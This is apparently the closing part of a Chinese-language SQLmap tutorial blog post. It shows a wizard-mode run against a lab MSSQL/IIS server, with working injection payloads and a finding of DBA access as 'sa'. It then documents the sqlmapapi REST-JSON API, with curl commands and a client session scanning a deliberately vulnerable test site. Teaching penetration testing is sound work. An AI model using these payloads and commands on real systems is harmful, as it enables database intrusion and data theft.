Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_in
t.asp?id=1
POST data (--data) [Enter for None]: 
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Smart
[3] All
> 1

sqlmap is running, please wait..

heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL S
erver'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'Microsoft SQL Server' extending provided l
evel (1) and risk (1)? [Y/n] Y
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] N
sqlmap identified the following injection points with a total of 25 HTTP(s) requ
ests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 2986=2986

    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+C
HAR(58)+(SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58
)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)))

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58)+CHAR(118)+CHAR(114)+CHAR(1
00)+CHAR(58)+CHAR(70)+CHAR(79)+CHAR(118)+CHAR(106)+CHAR(87)+CHAR(101)+CHAR(119)+
CHAR(115)+CHAR(114)+CHAR(77)+CHAR(58)+CHAR(111)+CHAR(109)+CHAR(113)+CHAR(58)-- 

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: id=1; WAITFOR DELAY '0:0:5'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: id=1 WAITFOR DELAY '0:0:5'--

    Type: inline query
    Title: Microsoft SQL Server/Sybase inline queries
    Payload: id=(SELECT CHAR(58)+CHAR(118)+CHAR(114)+CHAR(100)+CHAR(58)+(SELECT 
(CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(111)+CHAR
(109)+CHAR(113)+CHAR(58))
---
web server operating system: Windows XP
web application technology: ASP, Microsoft IIS 5.1
back-end DBMS operating system: Windows XP Service Pack 2
back-end DBMS: Microsoft SQL Server 2005
banner:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 
    Oct 14 2005 00:33:37 
    Copyright (c) 1988-2005 Microsoft Corporation
    Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
---
current user:    'sa'
current database:    'testdb'
current user is DBA:    True

[*] shutting down at xx:xx:52

API(REST-JSON)

sqlmap可以通过REST服务器和客户端实例之间的REST-JSON API API(应用程序接口的简称)来实现,该API使用JSON(用于RE表示状态传输)来进行REST(REST)。在plainspeak中,服务器运行sqlmap扫描,而客户端正在设置sqlmap选项/开关并将结果提回。用于运行API的主程序文件是sqlmapapi.py客户端也可以在任意用户程序内实现的。

$ python sqlmapapi.py -hh
Usage: sqlmapapi.py [options]

Options:
  -h, --help            show this help message and exit
  -s, --server          Act as a REST-JSON API server
  -c, --client          Act as a REST-JSON API client
  -H HOST, --host=HOST  Host of the REST-JSON API server (default "127.0.0.1")
  -p PORT, --port=PORT  Port of the the REST-JSON API server (default 8775)
  --adapter=ADAPTER     Server (bottle) adapter to use (default "wsgiref")

服务器sqlmapapi.py通过使用交换机-s,客户端使用交换机运行-c,而在这两种情况下,用户可以(可选)设置监听IP地址与选项-H(默认"127.0.0.1")和侦听端口与选项-p(默认8775)。每个客户端的“会话”可以有多个“任务”(即sqlmap扫描运行),用户可以随意选择哪个任务当前处于活动状态。

客户端的命令行界面可用命令有:

  • help - 显示可用命令列表以及基本帮助信息
  • new ARGS- 使用提供的参数启动新的扫描任务(例如new -u "http://testphp.vulnweb.com/artists.php?artist=1"
  • use TASKID- 将当前上下文切换到不同的任务(例如use c04d8c5c7582efb4
  • data - 检索并显示当前任务的数据
  • log - 检索并显示当前任务的日志
  • status - 检索并显示当前任务的状态
  • stop - 停止当前任务
  • kill - 杀死当前任务
  • list - 显示所有任务(对于当前会话)
  • flush - 刷新(即删除)所有任务
  • exit - 退出客户端界面

示例服务器运行:

$ python sqlmapapi.py -s -H "0.0.0.0"
[12:47:51] [INFO] Running REST-JSON API server at '0.0.0.0:8775'..
[12:47:51] [INFO] Admin ID: 89fd118997840a9bd7fc329ab535b881
[12:47:51] [DEBUG] IPC database: /tmp/sqlmapipc-SzBQnd
[12:47:51] [DEBUG] REST-JSON API server connected to IPC database
[12:47:51] [DEBUG] Using adapter 'wsgiref' to run bottle
[12:48:10] [DEBUG] Created new task: 'a42ddaef02e976f0'
[12:48:10] [DEBUG] [a42ddaef02e976f0] Started scan
[12:48:16] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
[12:48:50] [DEBUG] [a42ddaef02e976f0] Retrieved scan status
[12:48:55] [DEBUG] [a42ddaef02e976f0] Retrieved scan log messages
[12:48:59] [DEBUG] [a42ddaef02e976f0] Retrieved scan data and error messages

客户端运行示例:

$ python sqlmapapi.py -c -H "192.168.110.1"
[12:47:53] [DEBUG] Example client access from command line:
    $ taskid=$(curl http://192.168.110.1:8775/task/new 2>1 | grep -o -I '[a-f0-9
]\{16\}') && echo $taskid
    $ curl -H "Content-Type: application/json" -X POST -d '{"url": "http://testp
hp.vulnweb.com/artists.php?artist=1"}' http://192.168.110.1:8775/scan/$taskid/st
art
    $ curl http://192.168.110.1:8775/scan/$taskid/data
    $ curl http://192.168.110.1:8775/scan/$taskid/log
[12:47:53] [INFO] Starting REST-JSON API client to 'http://192.168.110.1:8775'..
.
[12:47:53] [DEBUG] Calling http://192.168.110.1:8775
[12:47:53] [INFO] Type 'help' or '?' for list of available commands
api> ?
help        Show this help message
new ARGS    Start a new scan task with provided arguments (e.g. 'new -u "http://
testphp.vulnweb.com/artists.php?artist=1"')
use TASKID  Switch current context to different task (e.g. 'use c04d8c5c7582efb4
')
data        Retrieve and show data for current task
log         Retrieve and show log for current task
status      Retrieve and show status for current task
stop        Stop current task
kill        Kill current task
list        Display all tasks
flush       Flush tasks (delete all tasks)
exit        Exit this client
api> new -u "http://testphp.vulnweb.com/artists.php?artist=1" --banner --flush-s
ession
[12:48:10] [DEBUG] Calling http://192.168.110.1:8775/task/new
[12:48:10] [INFO] New task ID is 'a42ddaef02e976f0'
[12:48:10] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/start
[12:48:10] [INFO] Scanning started
api (a42ddaef02e976f0)> status
[12:48:16] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
s
{
    "status": "running", 
    "returncode": null, 
    "success": true
}
api (a42ddaef02e976f0)> status
[12:48:50] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/statu
s
{
    "status": "terminated", 
    "returncode": 0, 
    "success": true
}
api (a42ddaef02e976f0)> log
[12:48:55] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/log
{
    "log": [
        {
            "message": "flushing session file", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "testing connection to the target URL", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "checking if the target is protected by some kind of WAF/
IPS/IDS", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "testing if the target URL is stable", 
            "level": "INFO", 
            "time": "12:48:10"
        }, 
        {
            "message": "target URL is stable", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "testing if GET parameter 'artist' is dynamic", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "confirming that GET parameter 'artist' is dynamic", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "GET parameter 'artist' is dynamic", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "heuristic (basic) test shows that GET parameter 'artist'
 might be injectable (possible DBMS: 'MySQL')", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "testing for SQL injection on GET parameter 'artist'", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "testing 'AND boolean-based blind - WHERE or HAVING claus
e'", 
            "level": "INFO", 
            "time": "12:48:11"
        }, 
        {
            "message": "GET parameter 'artist' appears to be 'AND boolean-based 
blind - WHERE or HAVING clause' injectable (with --string=\"hac\")", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (BIGINT UNSIGNED)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
use (BIGINT UNSIGNED)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (EXP)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING cla
use (EXP)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING,
 ORDER BY or GROUP BY clause (JSON_KEYS)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.7.8 OR error-based - WHERE, HAVING c
lause (JSON_KEYS)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (EXTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (EXTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (UPDATEXML)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, OR
DER BY or GROUP BY clause (UPDATEXML)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, O
RDER BY or GROUP BY clause (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 4.1 OR error-based - WHERE, HAVING cla
use (FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL OR error-based - WHERE or HAVING clause (
FLOOR)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (E
XTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 error-based - Parameter replace (B
IGINT UNSIGNED)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.5 error-based - Parameter replace (E
XP)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.7.8 error-based - Parameter replace 
(JSON_KEYS)'", 
            "level": "INFO", 
            "time": "12:48:12"
        }, 
        {
            "message": "testing 'MySQL >= 5.0 error-based - Parameter replace (F
LOOR)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 error-based - Parameter replace (U
PDATEXML)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL >= 5.1 error-based - Parameter replace (E
XTRACTVALUE)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL inline queries'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries (comment)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP - c
omment)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL < 5.0.12 stacked queries (heavy query - c
omment)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL < 5.0.12 stacked queries (heavy query)'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "testing 'MySQL >= 5.0.12 AND time-based blind'", 
            "level": "INFO", 
            "time": "12:48:13"
        }, 
        {
            "message": "GET parameter 'artist' appears to be 'MySQL >= 5.0.12 AN
D time-based blind' injectable ", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "testing 'Generic UNION query (NULL) - 1 to 20 columns'", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "automatically extending ranges for UNION query injection
 technique tests as there is at least one other (potential) technique found", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "'ORDER BY' technique appears to be usable. This should r
educe the time needed to find the right number of query columns. Automatically e
xtending the range for current UNION query injection technique test", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "target URL appears to have 3 columns in query", 
            "level": "INFO", 
            "time": "12:48:23"
        }, 
        {
            "message": "GET parameter 'artist' is 'Generic UNION query (NULL) - 
1 to 20 columns' injectable", 
            "level": "INFO", 
            "time": "12:48:24"
        }, 
        {
            "message": "the back-end DBMS is MySQL", 
            "level": "INFO", 
            "time": "12:48:24"
        }, 
        {
            "message": "fetching banner", 
            "level": "INFO", 
            "time": "12:48:24"
        }
    ], 
    "success": true
}
api (a42ddaef02e976f0)> data
[12:48:59] [DEBUG] Calling http://192.168.110.1:8775/scan/a42ddaef02e976f0/data
{
    "data": [
        {
            "status": 1, 
            "type": 0, 
            "value": [
                {
                    "dbms": "MySQL", 
                    "suffix": "", 
                    "clause": [
                        1, 
                        9
                    ], 
                    "notes": [], 
                    "ptype": 1, 
                    "dbms_version": [
                        ">= 5.0.12"
                    ], 
                    "prefix": "", 
                    "place": "GET", 
                    "os": null, 
                    "conf": {
                        "code": null, 
                        "string": "hac", 
                        "notString": null, 
                        "titles": false, 
                        "regexp": null, 
                        "textOnly": false, 
                        "optimize": false
                    }, 
                    "parameter": "artist", 
                    "data": {
                        "1": {
                            "comment": "", 
                            "matchRatio": 0.85, 
                            "trueCode": 200, 
                            "title": "AND boolean-based blind - WHERE or HAVING 
clause", 
                            "templatePayload": null, 
                            "vector": "AND [INFERENCE]", 
                            "falseCode": 200, 
                            "where": 1, 
                            "payload": "artist=1 AND 2794=2794"
                        }, 
                        "5": {
                            "comment": "", 
                            "matchRatio": 0.85, 
                            "trueCode": 200, 
                            "title": "MySQL >= 5.0.12 AND time-based blind", 
                            "templatePayload": null, 
                            "vector": "AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLE
EPTIME]),[RANDNUM])", 
                            "falseCode": null, 
                            "where": 1, 
                            "payload": "artist=1 AND SLEEP([SLEEPTIME])"
                        }, 
                        "6": {
                            "comment": "[GENERIC_SQL_COMMENT]", 
                            "matchRatio": 0.85, 
                            "trueCode": null, 
                            "title": "Generic UNION query (NULL) - 1 to 20 colum
ns", 
                            "templatePayload": null, 
                            "vector": [
                                2, 
                                3, 
                                "[GENERIC_SQL_COMMENT]", 
                                "", 
                                "", 
                                "NULL", 
                                2, 
                                false, 
                                false
                            ], 
                            "falseCode": null, 
                            "where": 2, 
                            "payload": "artist=-5376 UNION ALL SELECT NULL,NULL,
CONCAT(0x716b706a71,0x4a754d495377744d4273616c436b4b6a504164666a5572477241596649
704c68614672644a477474,0x7162717171)-- aAjy"
                        }
                    }
                }
            ]
        }, 
        {
            "status": 1, 
            "type": 2, 
            "value": "5.1.73-0ubuntu0.10.04.1"
        }
    ], 
    "success": true, 
    "error": []
}
api (a42ddaef02e976f0)> exit
$

声明:Net-X|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - 史上最全SQLmap注入教程


Carpe Diem and Do what I like